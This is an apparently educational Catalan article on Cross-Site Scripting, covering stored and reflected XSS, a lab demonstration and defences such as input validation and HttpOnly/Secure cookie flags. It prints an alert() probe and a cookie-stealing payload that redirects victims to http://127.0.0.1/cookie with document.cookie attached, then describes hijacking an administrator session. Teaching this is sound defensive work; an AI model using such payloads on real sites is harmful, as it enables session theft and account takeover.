La seguretat informàtica és un factor crític per a les empreses en l’era digital actual. Les vulnerabilitats en les aplicacions web poden exposar dades sensibles, com ara informació personal dels clients, credencials d’accés i informació financera, i posar en risc la reputació i el negoci de la nostra empresa. Una de les vulnerabilitats més comunes en les aplicacions web és el Cross-Site Scripting (XSS). En aquest article, explicarem què és l’XSS, quins tipus hi ha, quin abast pot tenir aquesta vulnerabilitat i com ens podem protegir.
L’XSS és una vulnerabilitat de seguretat web que es produeix quan un atacant injecta codi maliciós en una pàgina web, generalment a través d’un formulari o una entrada d’usuari, que després s’executa en el navegador d’un altre usuari que visita la pàgina infectada. Això pot permetre a l’atacant robar cookies, sessions i dades d’autenticació, realitzar accions en nom de l’usuari, modificar el contingut de la pàgina web o redirigir a l’usuari a un altre lloc web maliciós.
Hi ha dos tipus principals de XSS: l’XSS persistent (Stored XSS) i l’XSS no persistent (Reflected XSS).
En primer lloc, l’XSS persistent es produeix quan el codi maliciós s’emmagatzema en la base de dades de l’aplicació web i es mostra a tots els usuaris que visiten la pàgina infectada. En segon lloc, l’XSS no persistent es produeix quan el codi maliciós s’envia en una sol·licitud HTTP i només afecta l’usuari que la rep.
A continuació, es mostra una simulació d’un atac a aquest tipus de vulnerabilitat.
Veurem la vulnerabilitat XSS no persistent o reflectit. Com s’ha explicat abans, aquesta vulnerabilitat executa el codi maliciós que s’envia en una sol·licitud HTTP. En aquest exemple es pot veure com hi ha un paràmetre en l’URL que es veu reflectit en la pàgina web, és a dir, el seu valor apareix en el contingut de la web sense cap modificació:
Una vegada identificat el possible XSS, en aquest camp es podria injectar codi JavaScript maliciós perquè s’executi dins del navegador del client. Per verificar si existeix aquesta vulnerabilitat, els atacants acostumen a executar el següent codi:
<script>alert(“XSS”)</script>Aquest codi genera una finestra d’alerta amb el missatge “XSS”:
En el següent exemple, es mostra una demostració sobre l’XSS persistent. Aquesta vulnerabilitat emmagatzema el codi en la base de dades de l’aplicació de manera que tothom que visiti la pàgina infectada, executarà el codi maliciós:
Imagineu la següent situació: una pàgina web que és un fòrum de discussió. Suposem que els comentaris d’aquest fòrum són vulnerables al XSS de manera que, quan un atacant injecta codi maliciós en un dels comentaris, aquest codi s’executa en el navegador de totes les persones que visiten el post i veuen els comentaris.
De manera gràfica, suposem que aquest és el camp on s’envien els comentaris:
Aleshores, quan s’envia el comentari, queda registrat dins de la pàgina web:
A partir d’aquest moment, qualsevol persona que visiti el post veurà el comentari que he publicat. Si aquest comentari es manipula, afegint un codi maliciós, com el que he posat abans, podem infectar a tota la gent que visiti el post i vegi els comentaris.
Cal aclarir que l’XSS no persistent, també conegut com a XSS reflectit, és considerat menys perillós que l’XSS persistent, ja que només afecta un sol client en cada sol·licitud maliciosa. En canvi, l’XSS persistent és més perillós, ja que el codi maliciós s’emmagatzema en la base de dades de l’aplicació web i pot afectar a múltiples clients que visiten la pàgina afectada.
Tanmateix, l’XSS no persistent pot ser igual de perillós si l’atacant és capaç d’enganyar a un gran nombre d’usuaris perquè facin clic en un enllaç maliciós, per exemple, mitjançant una campanya de Phishing.
Què es pot arribar a fer amb aquesta vulnerabilitat?
L’XSS pot ser utilitzat per realitzar una varietat d’atacs maliciosos contra les aplicacions web i els seus usuaris. Un dels atacs més comuns és robar cookies de sessió, permetent a l’atacant prendre el control de la sessió de l’usuari i realitzar accions en el seu nom. Això pot incloure l’accés a dades confidencials, la realització de transaccions fraudulentes o la modificació de la configuració del compte de l’usuari.
Anteriorment, hem utilitzat el següent script per detectar si la pàgina web és vulnerable o no (<script>alert(“XSS”)</script>). Ara, canviarem aquest script per poder robar la cookie de sessió (‘<script>document.location=”http://127.0.0.1/cookie?”+document.cookie</script>’).
Aquest script fa dues coses:
- Redirigeix l’usuari a una pàgina web remota (http://127.0.0.1/cookie) utilitzant la propietat “location” de l’objecte “document”
- Afegeix la cookie de sessió de l’usuari a l’URL de la pàgina web remota utilitzant la propietat “cookie” de l’objecte “document”.
Quan l’usuari executa aquest script, el seu navegador enviarà una petició a la pàgina web remota (http://127.0.0.1/cookie) passant-li la cookie de sessió de l’usuari com a paràmetre. L’atacant, que controla la pàgina web remota, podrà llavors capturar la cookie de sessió i utilitzar-la per prendre el control de la sessió de l’usuari.
A continuació, veurem un exemple gràfic del robatori de cookies de sessió utilitzant el mateix entorn que hem fet servir abans:
Primerament, injectem el codi que hem preparat:
A continuació, obrim una pàgina web des de la banda de l’atacant per obtenir la cookie de sessió:
Finalment, accedim a la pàgina web infectada, que executarà automàticament el codi JavaScript maliciós i ens enviarà la cookie al servidor que acabem de muntar:
Ara, podríem utilitzar la cookie que hem rebut per suplantar l’usuari i en el cas que aquest fos administrador, podríem veure panells d’administració privilegiats per intentar entrar a la màquina amb alguna execució de comandes.
Aquest atac en concret només és possible si el servidor no té una bona configuració de cookies. En concret, hi ha dos camps que estan mal configurats en aquest entorn de proves:
- HTTPOnly: Aquest camp indica que la cookie només ha de ser accessible via HTTP, i no des del codi JavaScript que s’executa al client. Aquest és el camp que permet enviar la cookie i suplantar l’usuari (sense aquest camp mal configurat no podríem haver dut a terme aquest atac)
- Secure: Aquest camp indica que la cookie només ha de ser enviada via connexions segures (HTTPS), i no via connexions no segures (HTTP). Si aquest camp no està present, un atacant pot interceptar la cookie utilitzant una xarxa no segura i suplantar l’usuari.
Com podem protegir-nos?
Un cop hem entès què és l’XSS, com s’origina i quins potencials atacs es poden perpetrar, ara parlarem de com podem protegir-nos i què podem fer al respecte.
En primer lloc, i més important, hem de validar tots els inputs de l’usuari abans de fer qualsevol manipulació o inserció en la base de dades de l’aplicació. Això significa que hem de comprovar que les dades que reben les nostres aplicacions web són vàlides i segures abans de processar-les o mostrar-les als usuaris. Per exemple, es poden utilitzar expressions regulars per comprovar que els inputs de l’usuari no contenen codi maliciós o caràcters especials no vàlids.
A més, podem utilitzar llibreries de seguretat que ofereixen aquesta protecció contra els XSS. Aquestes llibreries poden ajudar a validar i sanejar automàticament els inputs d’usuari, reduint el risc de vulnerabilitats de seguretat.
També és important implementar mesures de seguretat, com ara l’autenticació i l’autorització d’usuaris i la limitació de privilegis. Això pot ajudar a reduir el risc de vulnerabilitats de seguretat i protegir les nostres aplicacions web contra atacs XSS i d’altres.
Addicionalment, és recomanable mantenir totes les nostres aplicacions actualitzades i corregir qualsevol vulnerabilitat de seguretat coneguda de manera ràpida i eficient. Això també ajuda a reduir el risc de vulnerabilitats derivades de programari que no depèn de nosaltres.
Finalment, és important mantenir una bona configuració de l’aplicació per a evitar que es puguin enviar de cap manera aquestes cookies (HTTPOnly a True i Secure a True), reduint així al màxim el potencial atac que es podria dur a terme.